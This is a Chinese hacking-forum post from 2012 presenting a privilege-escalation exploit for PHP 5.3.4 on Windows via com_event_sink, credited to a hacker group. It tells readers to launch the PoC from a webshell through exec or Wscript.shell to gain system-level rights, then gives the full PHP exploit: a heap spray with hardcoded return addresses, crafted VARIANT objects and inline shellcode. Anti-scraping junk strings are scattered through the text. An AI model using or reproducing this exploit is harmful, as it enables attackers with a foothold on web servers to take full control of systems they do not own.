找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2154|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
* w0 E; W3 {# Y' x! m
: \# ]+ c0 N+ i' P$ [6 h测试方法如下:cmd /c x:\php\php.exe x:\test.php7 o  Y* _2 j! X. N$ X; g0 I7 {: g& l

1 ]4 M( @5 m7 P" a; i下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
3 _1 ^7 Z, Z0 P这里是两个测试的截图:
6 f  l$ u; P$ c* r  x! I, `3 G- t! Q& g

* t/ e( N/ |8 z0 ~' ~+ x$ o4 P$ t$ h+ G1 {  \5 E

7 Z0 [$ D. K+ `& O8 ~
; }. \9 a8 C9 q2 D  d' x成功利用此漏洞的攻击者将获得系统的最高权限
3 j' X* F/ C3 |: J2 c# X
+ X+ z. X3 k6 u0 M* x& P
0 W# _& f7 [% A4 z, i: Y2 C# Z
8 E. z% @+ l/ g5 w* W* y* J# K5 k) j2 u8 j

+ M& {% [9 r9 U  t( s关于漏洞分析稍后附上。一下是PoC代码:! [6 P7 k% i9 G

  ]& I% P+ K' c& A* u<?php
! ~) W! [: ?! d1 Z2 `# J//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞5 A. t# L* E9 j% l1 B% H0 Z
//$eip ="\x44\x43\x42\x41";( y! F1 `$ S- U4 R' m* L% u
$eip= "\x4b\xe8\x57\x78";% a3 j- x; g( J% n0 M6 N3 ^5 v; M
$eax ="\x80\x01\x8d\x04";
) ]! ?$ `( m% A3 W. M0 C$deodrant="";/ C9 O+ t) I6 j$ Y, B* D; B
$axespray = str_repeat($eip.$eax,0x80);
- E& l% p$ t2 k) {+ K3 Z9 J//048d0190# a2 s0 I: O6 l* ~8 e3 K9 ]9 i$ G; M
echo strlen($axespray);
2 B2 f  Z7 a5 ~# v0 |echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
. j: U$ P( [1 G, ?1 Kecho "Silic Group Hacker Army - BlackBap.Org";
0 c( G, t0 }0 \5 X- W6 ^4 D$ b//19200 ==4B32 4b00
+ y3 |# K! v0 F# b, L" o8 r0 Ofor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}) I5 w7 u: k( J, x9 ~4 T
$terminate = "T";
. P9 h* X. Q+ v$u[] =$deodrant;* A) j, i9 o% s% ^' O  F% b9 f% W
$r[] =$deodrant.$terminate;) C9 s! s; S0 s8 \* ]
$a[] =$deodrant.$terminate;
5 }; S5 q& o( |7 a) Y$ U5 s$s[] =$deodrant.$terminate;
( t0 {/ N2 P) P3 F6 T# i" ^//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
4 A7 W( A  ]7 [: U6 p! r8 G$ c$vVar = new VARIANT(0x048d0000+180);
& q- [- }; K2 J7 G! @7 P9 \//弹窗代码(Shellcode): L. g3 @/ Y) U/ W8 U* a3 ]; G
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";8 f: k* \2 b& U; i7 j' n
$var2 = new VARIANT(0x41414242);; V- V6 T" Z6 s3 j
com_event_sink($vVar,$var2,$buffer);- }. Y4 N8 ?3 s# o
?>" h2 o. v: p* \! Z- n' w4 Z

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表